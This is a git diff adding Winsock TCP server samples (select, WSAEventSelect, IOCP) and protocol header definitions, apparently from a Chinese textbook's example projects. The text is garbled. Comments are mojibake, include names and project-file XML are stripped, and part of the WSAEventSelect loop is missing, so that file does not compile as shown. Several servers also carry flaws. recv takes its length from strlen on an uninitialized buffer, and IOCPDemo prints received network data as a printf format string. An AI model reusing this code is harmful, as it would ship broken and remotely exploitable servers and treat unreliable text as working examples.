"b/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/WSAAsyncSelect.sln" new file mode 100644 index 0000000..e70bdff --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/WSAAsyncSelect.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "WSAAsyncSelect", "WSAAsyncSelect.vcproj", "{91B40FD1-B7B7-4D98-A45D-B0E648BCAE66}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {91B40FD1-B7B7-4D98-A45D-B0E648BCAE66}.Debug|Win32.ActiveCfg = Debug|Win32 + {91B40FD1-B7B7-4D98-A45D-B0E648BCAE66}.Debug|Win32.Build.0 = Debug|Win32 + {91B40FD1-B7B7-4D98-A45D-B0E648BCAE66}.Release|Win32.ActiveCfg = Release|Win32 + {91B40FD1-B7B7-4D98-A45D-B0E648BCAE66}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/WSAAsyncSelect.suo" "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/WSAAsyncSelect.suo" new file mode 100644 index 0000000..08d0fea Binary files /dev/null and "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/WSAAsyncSelect.suo" differ diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/WSAAsyncSelect.vcproj" "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/WSAAsyncSelect.vcproj" new file mode 100644 index 0000000..ebfe93c --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/WSAAsyncSelect.vcproj" @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/_desktop.ini" "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAAsyncSelect/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/WSAEventSelect/WSAEventSelect.cpp" "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAEventSelect/WSAEventSelect.cpp" new file mode 100644 index 0000000..60499a9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAEventSelect/WSAEventSelect.cpp" @@ -0,0 +1,112 @@ +////////////////////////////////////////////////// +// WSAEventSelectÎļþ + +#include "initsock.h" +#include +#include +#include + +// ³õʼ»¯Winsock¿â +CInitSock theSock; + +int main() +{ + // ʼþ¾ä±úºÍÌ×½Ú×Ö¾ä±ú±í + WSAEVENT eventArray[WSA_MAXIMUM_WAIT_EVENTS]; + SOCKET sockArray[WSA_MAXIMUM_WAIT_EVENTS]; + int nEventTotal = 0; + + USHORT nPort = 4567; // ´Ë·þÎñÆ÷¼àÌýµÄ¶Ë¿ÚºÅ + + // ´´½¨¼àÌýÌ×½Ú×Ö + SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + sockaddr_in sin; + sin.sin_family = AF_INET; + sin.sin_port = htons(nPort); + sin.sin_addr.S_un.S_addr = INADDR_ANY; + if(::bind(sListen, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR) + { + printf(" Failed bind() \n"); + return -1; + } + ::listen(sListen, 5); + + // ´´½¨Ê¼þ¶ÔÏ󣬲¢¹ØÁªµ½ÐµÄÌ×½Ú×Ö + WSAEVENT event = ::WSACreateEvent(); + ::WSAEventSelect(sListen, event, FD_ACCEPT|FD_CLOSE); + // Ìí¼Óµ½±íÖÐ + eventArray[nEventTotal] = event; + sockArray[nEventTotal] = sListen; + nEventTotal++; + + // ´¦ÀíÍøÂçʼþ + while(TRUE) + { + // ÔÚËùÓÐʼþ¶ÔÏóÉϵȴý + int nIndex = ::WSAWaitForMultipleEvents(nEventTotal, eventArray, FALSE, WSA_INFINITE, FALSE); + // ¶Ôÿ¸öʼþµ÷ÓÃWSAWaitForMultipleEventsº¯Êý£¬ÒÔ±ãÈ·¶¨ËüµÄ״̬ + nIndex = nIndex - WSA_WAIT_EVENT_0; + for(int i=nIndex; i WSA_MAXIMUM_WAIT_EVENTS) + { + printf(" Too many connections! \n"); + continue; + } + SOCKET sNew = ::accept(sockArray[i], NULL, NULL); + WSAEVENT event = ::WSACreateEvent(); + ::WSAEventSelect(sNew, event, FD_READ|FD_CLOSE|FD_WRITE); + // Ìí¼Óµ½±íÖÐ + eventArray[nEventTotal] = event; + sockArray[nEventTotal] = sNew; + nEventTotal++; + } + } + else if(event.lNetworkEvents & FD_READ) // ´¦ÀíFD_READ֪ͨÏûÏ¢ + { + if(event.iErrorCode[FD_READ_BIT] == 0) + { + char szText[256]; + int nRecv = ::recv(sockArray[i], szText, strlen(szText), 0); + if(nRecv > 0) + { + szText[nRecv] = '\0'; + printf("½ÓÊÕµ½Êý¾Ý£º%s \n", szText); + } + } + } + else if(event.lNetworkEvents & FD_CLOSE) // ´¦ÀíFD_CLOSE֪ͨÏûÏ¢ + { + if(event.iErrorCode[FD_CLOSE_BIT] == 0) + { + ::closesocket(sockArray[i]); + for(int j=i; j + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/WSAEventSelect/_desktop.ini" "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAEventSelect/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAEventSelect/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/WSAEventSelect/initsock.h" "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAEventSelect/initsock.h" new file mode 100644 index 0000000..2118975 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/WSAEventSelect/initsock.h" @@ -0,0 +1,27 @@ +// initsock.h + +#include +#pragma comment(lib, "WS2_32") + +class CInitSock +{ +public: + CInitSock(); + ~CInitSock(); +}; + +inline CInitSock::CInitSock() +{ + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(2, 2); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } +} + +inline CInitSock::~CInitSock() +{ + ::WSACleanup(); +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/_desktop.ini" "b/Project/Network and Communication/\347\254\2543\347\253\240/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/common/Debug.h" "b/Project/Network and Communication/\347\254\2543\347\253\240/common/Debug.h" new file mode 100644 index 0000000..87a3266 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/common/Debug.h" @@ -0,0 +1,32 @@ +//////////////////////////////////////////// +// Debug.hÎļþ + +// µ÷ÊÔÖ§³Ö + + +#ifndef __DEBUG_H__ +#define __DEBUG_H__ + + +#ifdef _DEBUG + + #define ODS(szOut) \ + { \ + OutputDebugString(szOut); \ + } + + #define ODS1(szOut, var) \ + { \ + TCHAR sz[1024]; \ + _stprintf(sz, szOut, var); \ + OutputDebugString(sz); \ + } + +#else + + #define ODS(szOut) + #define ODS1(szOut, var) + +#endif // _DEBUG + +#endif // __DEBUG_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/common/_desktop.ini" "b/Project/Network and Communication/\347\254\2543\347\253\240/common/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/common/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/common/comm.cpp" "b/Project/Network and Communication/\347\254\2543\347\253\240/common/comm.cpp" new file mode 100644 index 0000000..aed2ef8 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/common/comm.cpp" @@ -0,0 +1,42 @@ +////////////////////////////////////////////////// +// comm.cppÎļþ + + +#include +#include +#include "Ws2tcpip.h" + +#include "comm.h" + + +USHORT checksum(USHORT* buff, int size) +{ + unsigned long cksum = 0; + while(size>1) + { + cksum += *buff++; + size -= sizeof(USHORT); + } + // ÊÇÆæÊý + if(size) + { + cksum += *(UCHAR*)buff; + } + // ½«32λµÄchsum¸ß16λºÍµÍ16λÏà¼Ó£¬È»ºóÈ¡·´ + cksum = (cksum >> 16) + (cksum & 0xffff); + cksum += (cksum >> 16); + return (USHORT)(~cksum); +} + +BOOL SetTTL(SOCKET s, int nValue) +{ + int ret = ::setsockopt(s, IPPROTO_IP, IP_TTL, (char*)&nValue, sizeof(nValue)); + return ret != SOCKET_ERROR; +} + +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv) +{ + int ret = ::setsockopt(s, SOL_SOCKET, + bRecv ? SO_RCVTIMEO : SO_SNDTIMEO, (char*)&nTime, sizeof(nTime)); + return ret != SOCKET_ERROR; +} diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/common/comm.h" "b/Project/Network and Communication/\347\254\2543\347\253\240/common/comm.h" new file mode 100644 index 0000000..a3b5372 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/common/comm.h" @@ -0,0 +1,21 @@ +////////////////////////////////////////////////// +// comm.hÎļþ + +// °üº¬Ò»Ð©¹«¹²º¯Êý + + + +#ifndef __COMM_H__ +#define __COMM_H__ + + +// УÑéºÍµÄ¼ÆËã +// ÒÔ16λµÄ×ÖΪµ¥Î»½«»º³åÇøµÄÄÚÈÝÏà¼Ó£¬Èç¹û»º³åÇø³¤¶ÈΪÆæÊý£¬ +// ÔòÔÙ¼ÓÉÏÒ»¸ö×Ö½Ú¡£ËüÃǵĺʹæÈëÒ»¸ö32λµÄË«×ÖÖÐ +USHORT checksum(USHORT* buff, int size); + +BOOL SetTTL(SOCKET s, int nValue); +BOOL SetTimeout(SOCKET s, int nTime, BOOL bRecv = TRUE); + + +#endif // __COMM_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/common/initsock.h" "b/Project/Network and Communication/\347\254\2543\347\253\240/common/initsock.h" new file mode 100644 index 0000000..f73bea7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/common/initsock.h" @@ -0,0 +1,24 @@ +////////////////////////////////////////////////////////// +// initsock.hÎļþ + +#include +#pragma comment(lib, "WS2_32") // Á´½Óµ½WS2_32.lib + +class CInitSock +{ +public: + CInitSock(BYTE minorVer = 2, BYTE majorVer = 2) + { + // ³õʼ»¯WS2_32.dll + WSADATA wsaData; + WORD sockVersion = MAKEWORD(minorVer, majorVer); + if(::WSAStartup(sockVersion, &wsaData) != 0) + { + exit(0); + } + } + ~CInitSock() + { + ::WSACleanup(); + } +}; diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/common/protoinfo.h" "b/Project/Network and Communication/\347\254\2543\347\253\240/common/protoinfo.h" new file mode 100644 index 0000000..a2e9aa7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/common/protoinfo.h" @@ -0,0 +1,110 @@ +////////////////////////////////////////////////// +// protoinfo.hÎļþ + +/* + +¶¨ÒåЭÒé¸ñʽ +¶¨ÒåЭÒéÖÐʹÓõĺê + + */ + + +#ifndef __PROTOINFO_H__ +#define __PROTOINFO_H__ + + +#define ETHERTYPE_IP 0x0800 +#define ETHERTYPE_ARP 0x0806 + +typedef struct _ETHeader // 14×Ö½ÚµÄÒÔÌ«Í· +{ + UCHAR dhost[6]; // Ä¿µÄMACµØÖ·destination mac address + UCHAR shost[6]; // Ô´MACµØÖ·source mac address + USHORT type; // ϲãЭÒéÀàÐÍ£¬ÈçIP£¨ETHERTYPE_IP£©¡¢ARP£¨ETHERTYPE_ARP£©µÈ +} ETHeader, *PETHeader; + + +#define ARPHRD_ETHER 1 + +// ARPЭÒéopcodes +#define ARPOP_REQUEST 1 // ARP ÇëÇó +#define ARPOP_REPLY 2 // ARP ÏìÓ¦ + + +typedef struct _ARPHeader // 28×Ö½ÚµÄARPÍ· +{ + USHORT hrd; // Ó²¼þµØÖ·¿Õ¼ä£¬ÒÔÌ«ÍøÖÐΪARPHRD_ETHER + USHORT eth_type; // ÒÔÌ«ÍøÀàÐÍ£¬ETHERTYPE_IP £¿£¿ + UCHAR maclen; // MACµØÖ·µÄ³¤¶È£¬Îª6 + UCHAR iplen; // IPµØÖ·µÄ³¤¶È£¬Îª4 + USHORT opcode; // ²Ù×÷´úÂ룬ARPOP_REQUESTΪÇëÇó£¬ARPOP_REPLYΪÏìÓ¦ + UCHAR smac[6]; // Ô´MACµØÖ· + UCHAR saddr[4]; // Ô´IPµØÖ· + UCHAR dmac[6]; // Ä¿µÄMACµØÖ· + UCHAR daddr[4]; // Ä¿µÄIPµØÖ· +} ARPHeader, *PARPHeader; + + +// ЭÒé +#define PROTO_ICMP 1 +#define PROTO_IGMP 2 +#define PROTO_TCP 6 +#define PROTO_UDP 17 + +typedef struct _IPHeader // 20×Ö½ÚµÄIPÍ· +{ + UCHAR iphVerLen; // °æ±¾ºÅºÍÍ·³¤¶È£¨¸÷Õ¼4룩 + UCHAR ipTOS; // ·þÎñÀàÐÍ + USHORT ipLength; // ·â°ü×ܳ¤¶È£¬¼´Õû¸öIP±¨µÄ³¤¶È + USHORT ipID; // ·â°ü±êʶ£¬Î©Ò»±êʶ·¢Ë͵Äÿһ¸öÊý¾Ý±¨ + USHORT ipFlags; // ±êÖ¾ + UCHAR ipTTL; // Éú´æʱ¼ä£¬¾ÍÊÇTTL + UCHAR ipProtocol; // ЭÒ飬¿ÉÄÜÊÇTCP¡¢UDP¡¢ICMPµÈ + USHORT ipChecksum; // УÑéºÍ + ULONG ipSource; // Ô´IPµØÖ· + ULONG ipDestination; // Ä¿±êIPµØÖ· +} IPHeader, *PIPHeader; + + +// ¶¨ÒåTCP±êÖ¾ +#define TCP_FIN 0x01 +#define TCP_SYN 0x02 +#define TCP_RST 0x04 +#define TCP_PSH 0x08 +#define TCP_ACK 0x10 +#define TCP_URG 0x20 +#define TCP_ACE 0x40 +#define TCP_CWR 0x80 + +typedef struct _TCPHeader // 20×Ö½ÚµÄTCPÍ· +{ + USHORT sourcePort; // 16λԴ¶Ë¿ÚºÅ + USHORT destinationPort; // 16λĿµÄ¶Ë¿ÚºÅ + ULONG sequenceNumber; // 32λÐòÁкŠ+ ULONG acknowledgeNumber; // 32λȷÈϺŠ+ UCHAR dataoffset; // ¸ß4λ±íʾÊý¾ÝÆ«ÒÆ + UCHAR flags; // 6λ±ê־λ + //FIN - 0x01 + //SYN - 0x02 + //RST - 0x04 + //PUSH- 0x08 + //ACK- 0x10 + //URG- 0x20 + //ACE- 0x40 + //CWR- 0x80 + + USHORT windows; // 16λ´°¿Ú´óС + USHORT checksum; // 16λУÑéºÍ + USHORT urgentPointer; // 16λ½ô¼±Êý¾ÝÆ«ÒÆÁ¿ +} TCPHeader, *PTCPHeader; + +typedef struct _UDPHeader +{ + USHORT sourcePort; // Ô´¶Ë¿ÚºÅ + USHORT destinationPort;// Ä¿µÄ¶Ë¿ÚºÅ + USHORT len; // ·â°ü³¤¶È + USHORT checksum; // УÑéºÍ +} UDPHeader, *PUDPHeader; + +#endif // __PROTOINFO_H__ + diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/select/_desktop.ini" "b/Project/Network and Communication/\347\254\2543\347\253\240/select/_desktop.ini" new file mode 100644 index 0000000..18aa814 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/select/_desktop.ini" @@ -0,0 +1 @@ +2006/10/15 \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/select/select.cpp" "b/Project/Network and Communication/\347\254\2543\347\253\240/select/select.cpp" new file mode 100644 index 0000000..7296775 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/select/select.cpp" @@ -0,0 +1,88 @@ +////////////////////////////////////////////////////// +// select.cppÎļþ + + +#include "../common/initsock.h" +#include + +CInitSock theSock; // ³õʼ»¯Winsock¿â +int main() +{ + USHORT nPort = 4567; // ´Ë·þÎñÆ÷¼àÌýµÄ¶Ë¿ÚºÅ + + // ´´½¨¼àÌýÌ×½Ú×Ö + SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + sockaddr_in sin; + sin.sin_family = AF_INET; + sin.sin_port = htons(nPort); + sin.sin_addr.S_un.S_addr = INADDR_ANY; + // °ó¶¨Ì×½Ú×Öµ½±¾µØ»úÆ÷ + if(::bind(sListen, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR) + { + printf(" Failed bind() \n"); + return -1; + } + // ½øÈë¼àÌýģʽ + ::listen(sListen, 5); + + // selectÄ£ÐÍ´¦Àí¹ý³Ì + // 1£©³õʼ»¯Ò»¸öÌ×½Ú×Ö¼¯ºÏfdSocket£¬Ìí¼Ó¼àÌýÌ×½Ú×Ö¾ä±úµ½Õâ¸ö¼¯ºÏ + fd_set fdSocket; // ËùÓпÉÓÃÌ×½Ú×Ö¼¯ºÏ + FD_ZERO(&fdSocket); + FD_SET(sListen, &fdSocket); + while(TRUE) + { + // 2£©½«fdSocket¼¯ºÏµÄÒ»¸ö¿½±´fdRead´«µÝ¸øselectº¯Êý£¬ + // µ±ÓÐʼþ·¢Éúʱ£¬selectº¯ÊýÒƳýfdRead¼¯ºÏÖÐûÓÐδ¾öI/O²Ù×÷µÄÌ×½Ú×Ö¾ä±ú£¬È»ºó·µ»Ø¡£ + fd_set fdRead = fdSocket; + int nRet = ::select(0, &fdRead, NULL, NULL, NULL); + if(nRet > 0) + { + // 3£©Í¨¹ý½«Ô­À´fdSocket¼¯ºÏÓëselect´¦Àí¹ýµÄfdRead¼¯ºÏ±È½Ï£¬ + // È·¶¨¶¼ÓÐÄÄЩÌ×½Ú×ÖÓÐδ¾öI/O£¬²¢½øÒ»²½´¦ÀíÕâЩI/O¡£ + for(int i=0; i<(int)fdSocket.fd_count; i++) + { + if(FD_ISSET(fdSocket.fd_array[i], &fdRead)) + { + if(fdSocket.fd_array[i] == sListen) // £¨1£©¼àÌýÌ×½Ú×Ö½ÓÊÕµ½ÐÂÁ¬½Ó + { + if(fdSocket.fd_count < FD_SETSIZE) + { + sockaddr_in addrRemote; + int nAddrLen = sizeof(addrRemote); + SOCKET sNew = ::accept(sListen, (SOCKADDR*)&addrRemote, &nAddrLen); + FD_SET(sNew, &fdSocket); + printf("½ÓÊÕµ½Á¬½Ó£¨%s£©\n", ::inet_ntoa(addrRemote.sin_addr)); + } + else + { + printf(" Too much connections! \n"); + continue; + } + } + else + { + char szText[256]; + int nRecv = ::recv(fdSocket.fd_array[i], szText, strlen(szText), 0); + if(nRecv > 0) // £¨2£©¿É¶Á + { + szText[nRecv] = '\0'; + printf("½ÓÊÕµ½Êý¾Ý£º%s \n", szText); + } + else // £¨3£©Á¬½Ó¹Ø±Õ¡¢ÖØÆô»òÕßÖÐ¶Ï + { + ::closesocket(fdSocket.fd_array[i]); + FD_CLR(fdSocket.fd_array[i], &fdSocket); + } + } + } + } + } + else + { + printf(" Failed select() \n"); + break; + } + } + return 0; +} \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/select/select.sln" "b/Project/Network and Communication/\347\254\2543\347\253\240/select/select.sln" new file mode 100644 index 0000000..5f3dae5 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/select/select.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "select", "select.vcproj", "{D0260300-EB9A-43AF-A4AB-28C8B1C3E9C1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D0260300-EB9A-43AF-A4AB-28C8B1C3E9C1}.Debug|Win32.ActiveCfg = Debug|Win32 + {D0260300-EB9A-43AF-A4AB-28C8B1C3E9C1}.Debug|Win32.Build.0 = Debug|Win32 + {D0260300-EB9A-43AF-A4AB-28C8B1C3E9C1}.Release|Win32.ActiveCfg = Release|Win32 + {D0260300-EB9A-43AF-A4AB-28C8B1C3E9C1}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/select/select.suo" "b/Project/Network and Communication/\347\254\2543\347\253\240/select/select.suo" new file mode 100644 index 0000000..fac1c3c Binary files /dev/null and "b/Project/Network and Communication/\347\254\2543\347\253\240/select/select.suo" differ diff --git "a/Project/Network and Communication/\347\254\2543\347\253\240/select/select.vcproj" "b/Project/Network and Communication/\347\254\2543\347\253\240/select/select.vcproj" new file mode 100644 index 0000000..6b0c7d6 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2543\347\253\240/select/select.vcproj" @@ -0,0 +1,236 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/IOCPDemo.cpp" "b/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/IOCPDemo.cpp" new file mode 100644 index 0000000..2f79026 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/IOCPDemo.cpp" @@ -0,0 +1,130 @@ +///////////////////////////////////////////////// +// IOCPDemo.cppÎļþ µ÷ÊÔͨ¹ý + + +#include "../common/initsock.h" +#include +#include + +// ³õʼ»¯Winsock¿â +CInitSock theSock; + +#define BUFFER_SIZE 1024 + +typedef struct _PER_HANDLE_DATA // per-handleÊý¾Ý +{ + SOCKET s; // ¶ÔÓ¦µÄÌ×½Ú×Ö¾ä±ú + sockaddr_in addr; // ¿Í»§·½µØÖ· +} PER_HANDLE_DATA, *PPER_HANDLE_DATA; + + +typedef struct _PER_IO_DATA // per-I/OÊý¾Ý +{ + OVERLAPPED ol; // Öصþ½á¹¹ + char buf[BUFFER_SIZE]; // Êý¾Ý»º³åÇø + int nOperationType; // ²Ù×÷ÀàÐÍ +#define OP_READ 1 +#define OP_WRITE 2 +#define OP_ACCEPT 3 +} PER_IO_DATA, *PPER_IO_DATA; + + +DWORD WINAPI ServerThread(LPVOID lpParam) +{ + // µÃµ½Íê³É¶Ë¿Ú¶ÔÏó¾ä±ú + HANDLE hCompletion = (HANDLE)lpParam; + + DWORD dwTrans; + PPER_HANDLE_DATA pPerHandle; + PPER_IO_DATA pPerIO; + while(TRUE) + { + // ÔÚ¹ØÁªµ½´ËÍê³É¶Ë¿ÚµÄËùÓÐÌ×½Ú×ÖÉϵȴýI/OÍê³É + BOOL bOK = ::GetQueuedCompletionStatus(hCompletion, + &dwTrans, (LPDWORD)&pPerHandle, (LPOVERLAPPED*)&pPerIO, WSA_INFINITE); + if(!bOK) // ÔÚ´ËÌ×½Ú×ÖÉÏÓдíÎó·¢Éú + { + ::closesocket(pPerHandle->s); + ::GlobalFree(pPerHandle); + ::GlobalFree(pPerIO); + continue; + } + + if(dwTrans == 0 && // Ì×½Ú×Ö±»¶Ô·½¹Ø±Õ + (pPerIO->nOperationType == OP_READ || pPerIO->nOperationType == OP_WRITE)) + + { + ::closesocket(pPerHandle->s); + ::GlobalFree(pPerHandle); + ::GlobalFree(pPerIO); + continue; + } + + switch(pPerIO->nOperationType) // ͨ¹ýper-I/OÊý¾ÝÖеÄnOperationTypeÓò²é¿´Ê²Ã´I/OÇëÇóÍê³ÉÁË + { + case OP_READ: // Íê³ÉÒ»¸ö½ÓÊÕÇëÇó + { + pPerIO->buf[dwTrans] = '\0'; + printf(pPerIO -> buf); + + // ¼ÌÐøͶµÝ½ÓÊÕI/OÇëÇó + WSABUF buf; + buf.buf = pPerIO->buf ; + buf.len = BUFFER_SIZE; + pPerIO->nOperationType = OP_READ; + + DWORD nFlags = 0; + ::WSARecv(pPerHandle->s, &buf, 1, &dwTrans, &nFlags, &pPerIO->ol, NULL); + } + break; + case OP_WRITE: // ±¾ÀýÖÐûÓÐͶµÝÕâЩÀàÐ͵ÄI/OÇëÇó + case OP_ACCEPT: + break; + } + } + return 0; +} + + +void main() +{ + int nPort = 4567; + // ´´½¨Íê³É¶Ë¿Ú¶ÔÏ󣬴´½¨¹¤×÷Ï̴߳¦ÀíÍê³É¶Ë¿Ú¶ÔÏóÖÐʼþ + HANDLE hCompletion = ::CreateIoCompletionPort(INVALID_HANDLE_VALUE, 0, 0, 0); + ::CreateThread(NULL, 0, ServerThread, (LPVOID)hCompletion, 0, 0); + + // ´´½¨¼àÌýÌ×½Ú×Ö£¬°ó¶¨µ½±¾µØµØÖ·£¬¿ªÊ¼¼àÌý + SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, 0); + SOCKADDR_IN si; + si.sin_family = AF_INET; + si.sin_port = ::ntohs(nPort); + si.sin_addr.S_un.S_addr = INADDR_ANY; + ::bind(sListen, (sockaddr*)&si, sizeof(si)); + ::listen(sListen, 5); + + // Ñ­»·´¦Àíµ½À´µÄÁ¬½Ó + while(TRUE) + { + // µÈ´ý½ÓÊÜδ¾öµÄÁ¬½ÓÇëÇó + SOCKADDR_IN saRemote; + int nRemoteLen = sizeof(saRemote); + SOCKET sNew = ::accept(sListen, (sockaddr*)&saRemote, &nRemoteLen); + + // ½ÓÊܵ½ÐÂÁ¬½ÓÖ®ºó£¬ÎªËü´´½¨Ò»¸öper-handleÊý¾Ý£¬²¢½«ËüÃǹØÁªµ½Íê³É¶Ë¿Ú¶ÔÏó¡£ + PPER_HANDLE_DATA pPerHandle = + (PPER_HANDLE_DATA)::GlobalAlloc(GPTR, sizeof(PER_HANDLE_DATA)); + pPerHandle->s = sNew; + memcpy(&pPerHandle->addr, &saRemote, nRemoteLen); + ::CreateIoCompletionPort((HANDLE)pPerHandle->s, hCompletion, (DWORD)pPerHandle, 0); + + // ͶµÝÒ»¸ö½ÓÊÕÇëÇó + PPER_IO_DATA pPerIO = (PPER_IO_DATA)::GlobalAlloc(GPTR, sizeof(PER_IO_DATA)); + pPerIO->nOperationType = OP_READ; + WSABUF buf; + buf.buf = pPerIO->buf; + buf.len = BUFFER_SIZE; + DWORD dwRecv; + DWORD dwFlags = 0; + ::WSARecv(pPerHandle->s, &buf, 1, &dwRecv, &dwFlags, &pPerIO->ol, NULL); + } +} diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/IOCPDemo.sln" "b/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/IOCPDemo.sln" new file mode 100644 index 0000000..e276ea9 --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/IOCPDemo.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "IOCPDemo", "IOCPDemo.vcproj", "{82081515-8E2E-4772-BB0C-4E1FE0B9C5BD}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {82081515-8E2E-4772-BB0C-4E1FE0B9C5BD}.Debug|Win32.ActiveCfg = Debug|Win32 + {82081515-8E2E-4772-BB0C-4E1FE0B9C5BD}.Debug|Win32.Build.0 = Debug|Win32 + {82081515-8E2E-4772-BB0C-4E1FE0B9C5BD}.Release|Win32.ActiveCfg = Release|Win32 + {82081515-8E2E-4772-BB0C-4E1FE0B9C5BD}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/IOCPDemo.suo" "b/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/IOCPDemo.suo" new file mode 100644 index 0000000..225de40 Binary files /dev/null and "b/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/IOCPDemo.suo" differ diff --git "a/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/IOCPDemo.vcproj" "b/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/IOCPDemo.vcproj" new file mode 100644 index 0000000..365be8c --- /dev/null +++ "b/Project/Network and Communication/\347\254\2544\347\253\240/IOCPDemo/IOCPDemo.vcproj" @@ -0,0 +1,236 @@ + + + + + + + + + + 